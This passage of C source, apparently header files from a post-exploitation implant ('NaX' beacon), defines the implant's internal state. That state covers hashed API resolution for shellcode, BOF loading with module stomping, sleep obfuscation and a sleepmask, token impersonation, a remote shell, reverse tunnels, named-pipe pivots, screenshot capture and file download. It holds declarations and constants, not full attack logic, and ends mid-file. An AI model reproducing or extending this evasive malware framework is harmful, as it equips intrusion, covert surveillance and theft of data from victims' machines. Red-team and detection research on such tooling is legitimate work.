D_API( LoadLibraryExW );
D_API( VirtualProtect );
D_API( CreateProcessA );
D_API( CreatePipe );
D_API( WaitForSingleObject );
D_API( WaitForMultipleObjects );
D_API( PeekNamedPipe );
D_API( CreateNamedPipeA );
D_API( ConnectNamedPipe );
D_API( DisconnectNamedPipe );
D_API( SetNamedPipeHandleState );
D_API( CreateEventA );
D_API( SetEvent );
D_API( ResetEvent );
D_API( GetOverlappedResult );
D_API( CancelIo );
D_API( FlushFileBuffers );
D_API( CreateThread );
D_API( TerminateThread );
D_API( GetTickCount64 );
D_API( GetCurrentThread );
D_API( DuplicateHandle );
D_API( GetCurrentProcess );
D_API( GetACP );
D_API( GetOEMCP );
D_API( GetProcessMitigationPolicy );
} NAX_KERNEL32;
/* ========= [ kernelbase.dll ] ========= */
typedef struct {
D_API( SetProcessValidCallTargets );
} NAX_KERNELBASE;
/* ========= [ bcrypt.dll ] ========= */
typedef struct {
D_API( BCryptOpenAlgorithmProvider );
D_API( BCryptSetProperty );
D_API( BCryptGenerateSymmetricKey );
D_API( BCryptEncrypt );
D_API( BCryptDecrypt );
D_API( BCryptDestroyKey );
D_API( BCryptCloseAlgorithmProvider );
D_API( BCryptGenRandom );
} NAX_BCRYPT;
/* ========= [ winhttp.dll ] ========= */
typedef struct {
D_API( WinHttpOpen );
D_API( WinHttpConnect );
D_API( WinHttpOpenRequest );
D_API( WinHttpSendRequest );
D_API( WinHttpReceiveResponse );
D_API( WinHttpQueryHeaders );
D_API( WinHttpReadData );
D_API( WinHttpCloseHandle );
D_API( WinHttpCrackUrl );
D_API( WinHttpSetOption );
D_API( WinHttpQueryOption );
D_API( WinHttpQueryDataAvailable );
} NAX_WINHTTP;
/* ========= [ advapi32.dll ] ========= */
typedef struct {
D_API( GetUserNameW );
D_API( GetTokenInformation );
D_API( LookupAccountSidA );
D_API( AllocateAndInitializeSid );
D_API( InitializeSecurityDescriptor );
D_API( SetSecurityDescriptorDacl );
D_API( SetEntriesInAclA );
D_API( FreeSid );
D_API( DuplicateTokenEx );
D_API( ImpersonateLoggedOnUser );
D_API( RevertToSelf );
D_API( LogonUserA );
D_API( AdjustTokenPrivileges );
D_API( LookupPrivilegeValueA );
D_API( LookupPrivilegeNameA );
D_API( OpenThreadToken );
D_API( RegCreateKeyExW );
D_API( RegSetValueExW );
D_API( RegCloseKey );
} NAX_ADVAPI32;
/* ========= [ iphlpapi.dll ] ========= */
typedef struct {
D_API( GetAdaptersInfo );
} NAX_IPHLPAPI;
/* ========= [ user32.dll ] ========= */
typedef struct {
D_API( GetSystemMetrics );
D_API( GetDC );
D_API( ReleaseDC );
} NAX_USER32;
/* ========= [ gdi32.dll ] ========= */
typedef struct {
D_API( CreateCompatibleDC );
D_API( CreateCompatibleBitmap );
D_API( SelectObject );
D_API( BitBlt );
D_API( GetDIBits );
D_API( DeleteObject );
D_API( DeleteDC );
} NAX_GDI32;
/* ========= [ ws2_32.dll (lazy-loaded for tunnels) ] ========= */
typedef struct {
BOOL Loaded;
D_API( WSAStartup );
D_API( WSACleanup );
D_API( WSAGetLastError );
D_API( socket );
D_API( closesocket );
D_API( connect );
D_API( bind );
D_API( listen );
D_API( accept );
D_API( send );
D_API( recv );
D_API( select );
D_API( ioctlsocket );
D_API( htons );
D_API( ntohs );
D_API( inet_addr );
D_API( gethostbyname );
D_API( setsockopt );
D_API( shutdown );
D_API( WSACreateEvent );
D_API( WSACloseEvent );
D_API( WSAEventSelect );
D_API( WSAResetEvent );
D_API( WSAEnumNetworkEvents );
} NAX_WS2;
/* ========= [ tunnel state ] ========= */
#define NAX_TUNNEL_STATE_CLOSE 0
#define NAX_TUNNEL_STATE_READY 1
#define NAX_TUNNEL_STATE_CONNECT 2
#define NAX_TUNNEL_MODE_TCP 0
#define NAX_TUNNEL_MODE_REVERSE 2
#define NAX_TUNNEL_HIGH_WATERMARK ( 4 * 1024 * 1024 )
#define NAX_TUNNEL_LOW_WATERMARK ( 1 * 1024 * 1024 )
#define NAX_TUNNEL_HARD_CAP ( 16 * 1024 * 1024 )
/* ========= [ token state ] ========= */
typedef struct _NAX_TOKEN_NODE {
HANDLE Handle;
UINT32 TokenId;
UINT32 SourcePid;
CHAR User[ 128 ];
CHAR Domain[ 128 ];
struct _NAX_TOKEN_NODE* Next;
} NAX_TOKEN_NODE;
typedef struct _NAX_TUNNEL {
UINT32 ChannelId;
UINT32 Type;
UINT_PTR Sock;
BYTE State;
BYTE Mode;
UINT32 WaitTime;
UINT64 StartTick;
UINT32 CloseTimer;
PBYTE WriteBuf;
UINT32 WriteBufSize;
BOOL Paused;
BOOL SrvPaused;
struct _NAX_TUNNEL* Next;
} NAX_TUNNEL;
/* ========= [ pivot state ] ========= */
typedef struct _NAX_PIVOT_ASYNC {
OVERLAPPED OvRead;
HANDLE hWriteEvent;
UINT32 RdHeader;
BOOL RdPending;
BOOL DataSent;
} NAX_PIVOT_ASYNC;
typedef struct _NAX_PIVOT {
UINT32 Id;
HANDLE hPipe;
NAX_PIVOT_ASYNC* Async;
struct _NAX_PIVOT* Next;
} NAX_PIVOT;
/* ========= [ BOF module stomping ] ========= */
typedef struct {
PVOID DllBase;
PVOID TextBase;
ULONG TextCap;
PIMAGE_NT_HEADERS Nt;
BYTE InUse;
PVOID TextBackup;
PVOID PdataBase;
ULONG PdataSize;
PVOID PdataBackup;
} BOF_STOMP_SLOT;
typedef struct {
BOF_STOMP_SLOT SyncSlot;
BOF_STOMP_SLOT AsyncSlots[ BOF_STOMP_ASYNC_MAX ];
BOF_STOMP_SLOT SmSlot;
BYTE AsyncCount;
BYTE Initialized;
BYTE SmStompReq;
} BOF_STOMP_POOL;
/* ========= [ BOF execution context ] ========= */
typedef struct _NAX_BOF_MEDIA {
struct _NAX_BOF_MEDIA* Next;
PBYTE Data; /* complete entry including type tag (0x81/0x82) */
UINT32 Len;
} NAX_BOF_MEDIA;
typedef struct {
PBYTE Buf; /* heap-allocated text output accumulator (8 KB) */
UINT32 Len; /* bytes written so far */
UINT32 Cap; /* buffer capacity */
NAX_BOF_MEDIA* MediaHead; /* linked list of screenshot/download entries */
BYTE Stomped; /* 0x00=private alloc, 0x01=module stomped */
BYTE StompSlot; /* sync=0xFF, async=0-3 */
} NAX_BOF_CTX;
/* ========= [ chunked download state ] ========= */
typedef struct _NAX_DOWNLOAD {
UINT32 TaskId;
UINT32 FileId;
HANDLE hFile;
UINT32 FileSize;
UINT32 Index;
UINT32 ChunkSize;
struct _NAX_DOWNLOAD* Next;
} NAX_DOWNLOAD;
/* ========= [ upload memory accumulator ] ========= */
typedef struct _NAX_MEMSAVE {
UINT32 MemoryId;
UINT32 TotalSize;
UINT32 CurrentSize;
PBYTE Buffer;
struct _NAX_MEMSAVE* Next;
} NAX_MEMSAVE;
/* ========= [ async job tracking ] ========= */
#define NAX_JOB_PENDING 0
#define NAX_JOB_RUNNING 1
#define NAX_JOB_FINISHED 2
#define NAX_JOB_KILLED 3
typedef struct _NAX_INSTANCE NAX_INSTANCE, *PNAX_INSTANCE;
typedef struct _NAX_JOB {
PNAX_INSTANCE Nax;
UINT32 TaskId;
UINT32 State;
BYTE AllocMode;
BYTE Abandoned;
BYTE StompSlotIdx;
HANDLE hStopEvent;
HANDLE hThread;
DWORD TimeoutMs;
UINT64 StartTick;
NAX_BOF_CTX BofCtx;
NAX_BOF_CTX SavedBofCtx;
RTL_CRITICAL_SECTION Lock;
PBYTE CoffCopy;
UINT32 CoffSize;
PBYTE ArgsCopy;
UINT32 ArgsSize;
struct _NAX_JOB* Next;
} NAX_JOB;
/* ========= [ remote shell tracking ] ========= */
typedef struct _NAX_SHELL {
UINT32 TerminalId;
HANDLE hProcess;
HANDLE hThread;
HANDLE hStdinWrite;
HANDLE hStdoutRead;
BYTE State;
BYTE Started;
struct _NAX_SHELL* Next;
} NAX_SHELL;
/* ========= [ sleep obfuscation runtime config ] ========= */
typedef struct _NAX_SM_CONFIG {
BYTE SleepObf; /* 0=disabled, 1=enabled (WFSO PoC) */
BYTE _pad;
} NAX_SM_CONFIG, *PNAX_SM_CONFIG;
/* ========= [ sleepmask info - image region for encrypt/decrypt ] ========= */
typedef struct _NAX_SM_INFO {
PVOID BeaconBase;
UINT32 BeaconSize;
PVOID SmBase;
UINT32 SmSize;
PVOID CleanTextBuf;
UINT32 CleanTextSize;
NAX_SM_CONFIG Config;
UINT32 ActiveJobCount;
} NAX_SM_INFO, *PNAX_SM_INFO;
/* ========= [ BeaconGate originals + swap table ] ========= */
typedef struct {
PVOID Sleep;
PVOID WaitForSingleObject;
PVOID WaitForMultipleObjects;
PVOID VirtualProtect;
} NAX_GATE_ORIGINALS;
#define NAX_GATE_MAX_SWAPS 8
typedef struct {
PVOID* Slot;
PVOID Original;
} NAX_GATE_SWAP;
typedef struct {
NAX_GATE_SWAP Entries[NAX_GATE_MAX_SWAPS];
UINT32 Count;
} NAX_GATE_SWAP_TABLE;
/* ========= [ beacon instance ] ========= */
#define NAX_HTTP_STALE_MS 60000u /* close persistent handles when sleep > this */
struct _NAX_INSTANCE {
CHAR SessionId[17]; /* 16 hex chars + NUL */
NAX_CONFIG Config; /* all runtime-configurable fields */
HANDLE Heap; /* private beacon heap */
/* persistent WinHTTP handles - reused across heartbeats */
HINTERNET hSession; /* WinHttpOpen (UA + proxy config) */
HINTERNET hConnect; /* WinHttpConnect (host:port) */
/* system info - gathered once at boot, sent in REGISTER */
BYTE Elevated; /* 1 if running elevated / admin */
UINT32 OsMajor; /* Windows major version (PEB+0x118) */
UINT32 OsMinor; /* Windows minor version (PEB+0x11C) */
UINT16 OsBuild; /* Windows build number (PEB+0x120) */
UINT32 ParentPid; /* parent process ID */
UINT32 Acp; /* ANSI code page */
UINT32 OemCp; /* OEM code page */
CHAR ImgPath[260]; /* full image path (UTF-8) */
NAX_NTDLL Ntdll;
NAX_MSVCRT Msvcrt;
NAX_KERNEL32 Kernel32;
NAX_KERNELBASE Kernelbase;
NAX_BCRYPT Bcrypt;
BOOL CfgEnabled;
NAX_WINHTTP Winhttp;
NAX_ADVAPI32 Advapi32;
NAX_IPHLPAPI Iphlpapi;
NAX_USER32 User32;
NAX_GDI32 Gdi32;
NAX_BOF_CTX BofCtx;
BOF_STOMP_POOL BofStompPool;
NAX_PIVOT* PivotHead;
NAX_DOWNLOAD* DownloadHead;
NAX_MEMSAVE* MemSaveHead;
NAX_JOB* JobHead;
NAX_JOB* CurrentJob;
HANDLE JobWakeEvent;
NAX_TOKEN_NODE* TokenHead;
NAX_WS2 Ws2;
NAX_TUNNEL* TunnelHead;
HANDLE TunnelEvent;
NAX_SHELL* ShellHead;
PBYTE DynResp; /* dynamic heartbeat response (Content-Length > IO_CAP) */
UINT32 DynRespLen;
PVOID Gate;
NAX_GATE_ORIGINALS GateOriginals;
NAX_GATE_SWAP_TABLE GateSwaps;
PBYTE SmBofCache;
UINT32 SmBofCacheLen;
NAX_SM_INFO SmInfo;
/* resident BOF state (sleepmask) - kept alive across heartbeats */
PVOID ResidentSections[16];
UINT16 ResidentNumSections;
PVOID ResidentMapFunc;
BOOL ResidentStomped;
PRUNTIME_FUNCTION ResidentPdata;
DWORD ResidentPdataCount;
BOOL ResidentPdataInDll;
};
+8
View File
@@ -0,0 +1,8 @@
/* beacon/include/Jobs.h
* Async BOF job manager constants. */
#pragma once
#define JOB_DEFAULT_TIMEOUT_MS 60000u
#define JOB_GRACE_PERIOD_MS 500u
#define JOB_OUTPUT_DRAIN_CAP 1048576u
View File
+14
View File
@@ -0,0 +1,14 @@
/* beacon/include/LdrFlags.h
* LDR entry flags for module stomping PEB patching.
* Shared between Bof/Stomp.c and Commands/BofStomp.c. */
#pragma once
#define LDRP_IMAGE_DLL 0x00000004
#define LDRP_LOAD_NOTIFICATIONS_SENT 0x00000008
#define LDRP_PROCESS_STATIC_IMPORT 0x00000020
#define LDRP_ENTRY_PROCESSED 0x00004000
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif
+359
View File
@@ -0,0 +1,359 @@
/* beacon/include/Macros.h
* Compiler helpers, PIC section placement, FNV1a hashes.
* All hash values are FNV1a-32 over the UPPERCASE function/module name. */
#pragma once
/* ========= [ mingw-w64 / -mno-sse workaround ] ========= */
/* winnt.h pulls in psdk_inc/intrin-impl.h which defines __faststorefence()
* using __builtin_ia32_sfence - unavailable when -mno-sse is active.
* Pre-defining the guard macro suppresses that definition entirely. */
#ifndef __INTRINSIC_DEFINED___faststorefence
#define __INTRINSIC_DEFINED___faststorefence
#endif
/* ========= [ section placement ] ========= */
#define D_SEC( x ) __attribute__( ( section( ".text$" #x ) ) )
#define FUNC D_SEC( B )
/* ========= [ function pointer declaration ] ========= */
/* Usage: D_API( VirtualAlloc ) expands to __typeof__(VirtualAlloc) *VirtualAlloc; */
#define D_API( x ) __typeof__( x ) * x
/* ========= [ pointer helpers ] ========= */
#define C_PTR( x ) ( ( PVOID )( UINT_PTR )( x ) )
#define U_PTR( x ) ( ( UINT_PTR )( x ) )
#define B_PTR( x ) ( ( PBYTE )( UINT_PTR )( x ) )
/* ========= [ memory helpers ] ========= */
#define MmCopy( d, s, n ) __builtin_memcpy( (d), (s), (n) )
#define MmZero( d, n ) __builtin_memset( (d), 0, (n) )
/* ========= [ FNV1a-32 hashes (uppercase input) ] ========= */
/* Module names */
#define H_NTDLL_DLL 0x145370BBu
#define H_KERNEL32_DLL 0x29CDD463u
#define H_WINHTTP_DLL 0xD7735323u
#define H_BCRYPT_DLL 0x5BEDF6A5u
#define H_IPHLPAPI_DLL 0xDB411E4Au
#define H_ADVAPI32_DLL 0x35C841F5u
#define H_MSVCRT_DLL 0x1DDEBB66u
/* ntdll.dll exports */
#define H_LDRREGISTERDLLNOTIFICATION 0x45F4C843u
#define H_LDRUNREGISTERDLLNOTIFICATION 0x24E3DB7Eu
#define H_RTLALLOCATEHEAP 0x1AFF0438u
#define H_RTLFREEHEAP 0x9D9B8AB5u
#define H_RTLEXITUSERTHREAD 0xCC77997Eu
#define H_DBGPRINT 0xEF42EB8Bu /* DbgPrint */
#define H_NTOPENPROCESSTOKEN 0x06E571ADu /* NtOpenProcessToken */
#define H_NTQUERYINFORMATIONTOKEN 0x95047682u /* NtQueryInformationToken */
#define H_NTQUERYINFORMATIONPROCESS 0x69925B6Au /* NtQueryInformationProcess */
#define H_NTCLOSE 0x1498D8A5u /* NtClose */
#define H_NTQUERYSYSTEMINFORMATION 0x37072D8Au /* NtQuerySystemInformation */
#define H_NTQUERYVIRTUALMEMORY 0x315E365Fu /* NtQueryVirtualMemory */
#define H_NTOPENPROCESS 0x3ED17B38u /* NtOpenProcess */
#define H_NTTERMINATEPROCESS 0xB931F2E7u /* NtTerminateProcess */
/* kernel32.dll exports */
#define H_GETCURRENTPROCESSID 0xC36D7CE0u
#define H_GETCURRENTTHREADID 0xF388A295u
#define H_GETCOMPUTERNAMEEXW 0x8DD6527Du
#define H_EXITPROCESS 0xAC392D5Au
#define H_SLEEP 0x6D3D9A28u
#define H_LOADLIBRARYW 0xD76CCD99u
#define H_WIDECHARTOMULTIBYTE 0x4AF2783Eu
#define H_MULTIBYTETOWIDECHAR 0xB2996B82u
#define H_GLOBALFREE 0xF8D3360Cu
#define H_CREATEDIRECTORYA 0xC0A3F6F3u /* CreateDirectoryA */
#define H_SETCURRENTDIRECTORYA 0xB71F9262u /* SetCurrentDirectoryA */
#define H_GETCURRENTDIRECTORYA 0xEF8CF83Eu /* GetCurrentDirectoryA */
#define H_CREATEFILEA 0xE84B3A8Eu /* CreateFileA */
#define H_READFILE 0xBC5C02C3u /* ReadFile */
#define H_WRITEFILE 0xD6BC7FEAu /* WriteFile */
#define H_DELETEFILEA 0x3E6F4637u /* DeleteFileA */
#define H_CLOSEHANDLE 0x00FEF545u /* CloseHandle */
#define H_REMOVEDIRECTORYA 0x192454D3u /* RemoveDirectoryA */
#define H_FINDFIRSTFILEA 0xBDC52C95u /* FindFirstFileA */
#define H_FINDNEXTFILEA 0x533ED8F8u /* FindNextFileA */
#define H_FINDCLOSE 0x3FF09C86u /* FindClose */
#define H_GETACP 0x8FB91DB9u /* GetACP */
#define H_GETOEMCP 0xF3F6C445u /* GetOEMCP */
#define H_CREATEPROCESSA 0xE3EB7329u /* CreateProcessA */
#define H_CREATEPIPE 0x18FC8AE1u /* CreatePipe */
#define H_WAITFORSINGLEOBJECT 0x087A5704u /* WaitForSingleObject */
#define H_WAITFORMULTIPLEOBJECTS 0xE097CA29u /* WaitForMultipleObjects */
#define H_PEEKNAMEDPIPE 0xD76A4197u /* PeekNamedPipe */
#define H_CREATENAMEDPIPEA 0x22623B81u /* CreateNamedPipeA */
#define H_CONNECTNAMEDPIPE 0x2E327346u /* ConnectNamedPipe */
#define H_DISCONNECTNAMEDPIPE 0xACED8A20u /* DisconnectNamedPipe */
#define H_SETNAMEDPIPEHANDLESTATE 0xF69E48D3u /* SetNamedPipeHandleState */
#define H_CREATEEVENTA 0xE3D89242u /* CreateEventA */
#define H_SETEVENT 0x0A5FA231u /* SetEvent */
#define H_RESETEVENT 0xF86C8148u /* ResetEvent */
#define H_GETOVERLAPPEDRESULT 0x9489823Eu /* GetOverlappedResult */
#define H_CANCELIO 0x6C5E22DBu /* CancelIo */
#define H_FLUSHFILEBUFFERS 0xC683B086u /* FlushFileBuffers */
/* advapi32.dll exports */
#define H_GETUSERNAMEW 0x3B271BF8u
#define H_GETTOKENINFORMATION 0xEA1753BAu /* GetTokenInformation */
#define H_LOOKUPACCOUNTSIDA 0x9F5E72E1u /* LookupAccountSidA */
#define H_ALLOCATEANDINITIALIZESID 0x04F018F3u /* AllocateAndInitializeSid */
#define H_INITIALIZESECURITYDESCRIPTOR 0x3B950E88u /* InitializeSecurityDescriptor */
#define H_SETSECURITYDESCRIPTORDACL 0x39B5A210u /* SetSecurityDescriptorDacl */
#define H_SETENTRIESINACLA 0x65427AD5u /* SetEntriesInAclA */
#define H_FREESID 0x9543E245u /* FreeSid */
#define H_DUPLICATETOKENEX 0xCCA86C7Eu /* DuplicateTokenEx */
#define H_IMPERSONATELOGGEDONUSER 0x5D18DD4Au /* ImpersonateLoggedOnUser */
#define H_REVERTTOSELF 0xAAE503A8u /* RevertToSelf */
#define H_LOGONUSERA 0xAED2941Au /* LogonUserA */
#define H_ADJUSTTOKENPRIVILEGES 0xC87F17A3u /* AdjustTokenPrivileges */
#define H_LOOKUPPRIVILEGEVALUEA 0x7206E77Eu /* LookupPrivilegeValueA */
#define H_LOOKUPPRIVILEGENAMEA 0x155AB538u /* LookupPrivilegeNameA */
#define H_OPENTHREADTOKEN 0x3F9FFC2Au /* OpenThreadToken */
#define H_REGCREATEKEYEXW 0x55945DD2u /* RegCreateKeyExW */
#define H_REGSETVALUEEXW 0x928D78A6u /* RegSetValueExW */
#define H_REGCLOSEKEY 0xD91F178Au /* RegCloseKey */
/* iphlpapi.dll exports */
#define H_GETADAPTERSINFO 0xF3F916E3u
/* winhttp.dll exports */
#define H_WINHTTPOPEN 0xDE65FA65u
#define H_WINHTTPCONNECT 0x68399F2Du
#define H_WINHTTPOPENREQUEST 0x2C5B8EB2u
#define H_WINHTTPSENDREQUEST 0x186BEAE4u
#define H_WINHTTPRECEIVERESPONSE 0xBE71F421u
#define H_WINHTTPQUERYHEADERS 0xE990A96Fu
#define H_WINHTTPREADDATA 0x2CD17989u
#define H_WINHTTPCLOSEHANDLE 0xA8A76F19u
#define H_WINHTTPCRACKURL 0xDAD03DD6u
#define H_WINHTTPSETOPTION 0x121A377Au
#define H_WINHTTPQUERYOPTION 0xD159A97Au
#define H_WINHTTPQUERYDATAAVAILABLE 0x98141526u
/* bcrypt.dll exports */
#define H_BCRYPTOPENALGORITHMPROVIDER 0x55E27E7Du
#define H_BCRYPTSETPROPERTY 0x4680A508u
#define H_BCRYPTGENERATESYMMETRICKEY 0x9680C51Au
#define H_BCRYPTENCRYPT 0xF0E24004u
#define H_BCRYPTDECRYPT 0x45B2AAE0u
#define H_BCRYPTDESTROYKEY 0x97D4FFB6u
#define H_BCRYPTCLOSEALGORITHMPROVIDER 0x19DD9647u
#define H_BCRYPTGENRANDOM 0xFA481CACu
/* msvcrt.dll exports */
#define H_PRINTF 0xB81DD0EAu /* printf */
/* user32.dll */
#define H_USER32_DLL 0x1A58C439u /* user32.dll */
#define H_GETSYSTEMMETRICS 0x5A58C773u /* GetSystemMetrics */
#define H_GETDC 0xAAADEDBEu /* GetDC */
#define H_RELEASEDC 0x10824D97u /* ReleaseDC */
/* gdi32.dll */
#define H_GDI32_DLL 0xAD22D412u /* gdi32.dll */
#define H_CREATECOMPATIBLEDC 0x1C5A0D1Au /* CreateCompatibleDC */
#define H_CREATECOMPATIBLEBITMAP 0x6891AA50u /* CreateCompatibleBitmap */
#define H_SELECTOBJECT 0xE1301202u /* SelectObject */
#define H_BITBLT 0x6FB8AACEu /* BitBlt */
#define H_GETDIBITS 0x9935CA08u /* GetDIBits */
#define H_DELETEOBJECT 0xCFDED101u /* DeleteObject */
#define H_DELETEDC 0x749F876Bu /* DeleteDC */
/* kernel32 additions for BOF proxy + download */
#define H_GETMODULEHANDLEA 0xA2AE8F7Cu /* GetModuleHandleA */
#define H_FREELIBRARY 0x9CE6498Eu /* FreeLibrary */
#define H_LOADLIBRARYEXW 0x5D45A5C2u /* LoadLibraryExW */
#define H_VIRTUALPROTECT 0x62C5C373u /* VirtualProtect */
#define H_GETFILESIZE 0x7C072ED8u /* GetFileSize */
#define H_GETLASTERROR 0x84BD9597u /* GetLastError */
#define H_GETPROCESSMITIGATIONPOLICY 0x7BC86641u /* GetProcessMitigationPolicy */
/* kernelbase.dll */
#define H_KERNELBASE_DLL 0x91624877u
#define H_SETPROCESSVALIDCALLTARGETS 0xDD31D9C4u /* SetProcessValidCallTargets */
/* ========= [ debug print ] ========= */
/* __FILENAME__: compile-time basename of __FILE__ via builtin_strrchr.
* The pointer arithmetic is evaluated at compile time; no runtime cost.
* In release builds the entire DPRINT block compiles away - __FILENAME__
* is never referenced and no string literal ends up in .rdata. */
#define __FILENAME__ \
( __builtin_strrchr( __FILE__, '\\' ) \
? __builtin_strrchr( __FILE__, '\\' ) + 1 \
: ( __builtin_strrchr( __FILE__, '/' ) \
? __builtin_strrchr( __FILE__, '/' ) + 1 \
: __FILE__ ) )
/* ========= [ debug print helpers ] ========= */
/* Unique name helpers for static-local format string variables.
* _NX_CONCAT(a, b) → a##b, evaluated in two steps to force __LINE__ expansion. */
#define _NX_C2( a, b ) a##b
#define _NX_CONCAT( a, b ) _NX_C2( a, b )
#ifdef DEBUG_PIC
/* PIC-safe debug: format strings are static locals placed in .text$B via a
* section attribute, so no string data lands in .rdata. __FILE__ and
* __FUNCTION__ are intentionally omitted - they produce .rodata literals that
* break .text-only shellcode. __LINE__ gives each static a unique name within
* its translation unit so multiple calls in the same file never collide.
*
* NaxDbgx - DbgPrint (ntdll, visible in DebugView / x64dbg).
* NaxDbg - msvcrt!printf (visible in console / CRT debugger). */
#define __FILENAME__ (__builtin_strrchr(__FILE__, '\\') ? \
__builtin_strrchr(__FILE__, '\\') + 1 : \
(__builtin_strrchr(__FILE__, '/') ? \
__builtin_strrchr(__FILE__, '/') + 1 : __FILE__))
#define NaxDbgx( Nax, fmt, ... ) \
do { \
static const char _NX_CONCAT( _nfmt_, __LINE__ )[] \
__attribute__( ( section( ".text$Bd" ), used ) ) = \
"[NaX::%s::%s::%d] => " fmt "\n"; \
if ( ( Nax ) && ( Nax )->Ntdll.DbgPrint ) \
(void)( Nax )->Ntdll.DbgPrint( \
_NX_CONCAT( _nfmt_, __LINE__ ), \
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ); \
} while ( 0 )
#define NaxDbg( Nax, fmt, ... ) \
do { \
static const char _NX_CONCAT( _mfmt_, __LINE__ )[] \
__attribute__( ( section( ".text$Bd" ), used ) ) = \
"[NaX::%s::%s::%d] => " fmt "\n"; \
if ( ( Nax ) && ( Nax )->Msvcrt.printf ) \
(void)( Nax )->Msvcrt.printf( \
_NX_CONCAT( _mfmt_, __LINE__ ), \
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ); \
} while ( 0 )
#elif defined( DEBUG )
/* Non-PIC debug exe: full file/func/line prefix, strings go to .rdata.
* NaxDbgx - DbgPrint (ntdll, visible in DebugView / x64dbg).
* NaxDbg - msvcrt!printf (visible in console / CRT debugger). */
#define NaxDbgx( Nax, fmt, ... ) \
( ( Nax ) && ( Nax )->Ntdll.DbgPrint \
? ( (void)( Nax )->Ntdll.DbgPrint( \
"[NaX::%s::%s::%d] => " fmt "\n", \
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ) ) \
: (void)0 )
#define NaxDbg( Nax, fmt, ... ) \
( ( Nax ) && ( Nax )->Msvcrt.printf \
? ( (void)( Nax )->Msvcrt.printf( \
"[NaX::%s::%s::%d] => " fmt "\n", \
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ) ) \
: (void)0 )
#else
#define NaxDbgx( Nax, fmt, ... ) ( (void)0 )
#define NaxDbg( Nax, fmt, ... ) ( (void)0 )
#endif
/* ========= [ global instance accessor ] ========= */
/* G_INSTANCE - recover NAX_INSTANCE from TEB->NtTib.ArbitraryUserPointer.
* Uses NaxCurrentTeb() (Defs.h overlay) because mingw _TEB is opaque.
* NT_TIB.ArbitraryUserPointer sits at TEB+0x028; the cast is safe. */
#define G_INSTANCE PNAX_INSTANCE Nax = \
(PNAX_INSTANCE)NaxCurrentTeb()->NtTib.ArbitraryUserPointer
/* ===== ntdll thread pool + critical section ===== */
#define H_TPALLOCWORK 0x626981afu
#define H_TPPOSTWORK 0x77d8b8e6u
#define H_TPRELEASEWORK 0x18b7bcafu
#define H_RTLINITIALIZECRITICALSECTION 0x2609832du
#define H_RTLENTERCRITICALSECTION 0x39ad70efu
#define H_RTLLEAVECRITICALSECTION 0x56e886f8u
#define H_RTLTRYENTERCRITICALSECTION 0x9010ae00u
#define H_RTLDELETECRITICALSECTION 0x5cf633fau
/* ===== kernel32 threading ===== */
#define H_CREATETHREAD 0x390a6579u
#define H_TERMINATETHREAD 0xab268abcu
#define H_GETTICKCOUNT64 0xb6f9b737u
#define H_GETCURRENTTHREAD 0x3a773de8u
#define H_DUPLICATEHANDLE 0x84a0a8d0u
#define H_GETCURRENTPROCESS 0xc75b7345u
/* ===== ntdll NT API (added for BOF execution) ===== */
#define H_NTALLOCATEVIRTUALMEMORY 0xD58D5A18u /* NtAllocateVirtualMemory */
#define H_NTPROTECTVIRTUALMEMORY 0x069FF566u /* NtProtectVirtualMemory */
#define H_NTFREEVIRTUALMEMORY 0x8A45BA47u /* NtFreeVirtualMemory */
#define H_RTLADDFUNCTIONTABLE 0xAA532C08u /* RtlAddFunctionTable */
#define H_RTLDELETEFUNCTIONTABLE 0x9D3FF94Au /* RtlDeleteFunctionTable */
#define H__VSNPRINTF 0x193ECBC2u /* _vsnprintf */
/* ===== kernel32 (BOF dynamic Win32 resolution) ===== */
#define H_LOADLIBRARYA 0xE96CE9EFu /* LoadLibraryA */
#define H_GETPROCADDRESS 0x12D71805u /* GetProcAddress */
/* ===== Beacon API table hashes (FNV1a of function name, no __imp_ prefix) ===== */
#define H_BOF_BEACONDATAPARSE 0xF50B7120u
#define H_BOF_BEACONDATAINT 0xE04B32FAu
#define H_BOF_BEACONDATASHORT 0xDFCDEB61u
#define H_BOF_BEACONDATALENGTH 0x83077BB1u
#define H_BOF_BEACONDATAEXTRACT 0x67BD9D82u
#define H_BOF_BEACONOUTPUT 0x65561DB0u
#define H_BOF_BEACONPRINTF 0x5CD69236u
#define H_BOF_BEACONISADMIN 0xF626BAF8u
#define H_BOF_BEACONFORMATALLOC 0xC823D737u
#define H_BOF_BEACONFORMATRESET 0xE62F39D9u
#define H_BOF_BEACONFORMATFREE 0x43327794u
#define H_BOF_BEACONFORMATAPPEND 0xA9422B42u
#define H_BOF_BEACONFORMATPRINTF 0x97E3AE55u
#define H_BOF_BEACONFORMATTOSTRING 0xE4BFBF6Eu
#define H_BOF_BEACONFORMATINT 0xD81013B7u
/* ===== Additional Beacon API (from beacon.h additions) ===== */
#define H_BOF_BEACONDATAPTR 0x87CE7C1Du /* BeaconDataPtr */
#define H_BOF_BEACONUSETOKEN 0xEEBAA4E5u /* BeaconUseToken */
#define H_BOF_BEACONREVERTTOKEN 0x95FE635Cu /* BeaconRevertToken */
#define H_BOF_BEACONGETSPAWNTO 0x83125743u /* BeaconGetSpawnTo */
#define H_BOF_BEACONINFORMATION 0x4A788379u /* BeaconInformation */
#define H_BOF_TOWIDECHAR 0x76F95C03u /* toWideChar */
/* ===== Adaptix-extension Beacon API (adaptix.h) ===== */
#define H_BOF_AXADDSCREENSHOT 0x7B379A8Bu /* AxAddScreenshot */
#define H_BOF_AXDOWNLOADMEMORY 0x177559E7u /* AxDownloadMemory */
/* Async BOF APIs */
#define H_BOF_BEACONWAKEUP 0xde6f5ab4u
#define H_BOF_BEACONGETSTOPJOBEVENT 0x6e7db176u
/* BOF proxy functions - bare LoadLibraryA/GetProcAddress/etc. (no MODULE$ prefix) */
#define H_BOF_LOADLIBRARYA 0xE96CE9EFu /* LoadLibraryA */
#define H_BOF_GETPROCADDRESS 0x12D71805u /* GetProcAddress */
#define H_BOF_GETMODULEHANDLEA 0xA2AE8F7Cu /* GetModuleHandleA */
#define H_BOF_FREELIBRARY 0x9CE6498Eu /* FreeLibrary */
/* ===== beacon private heap management ===== */
#define H_HEAPCREATE 0xF6BF1E07u /* HeapCreate */
#define H_HEAPDESTROY 0x7ACACAAFu /* HeapDestroy */
/* ===== ws2_32.dll (tunnel support, loaded lazily) ===== */
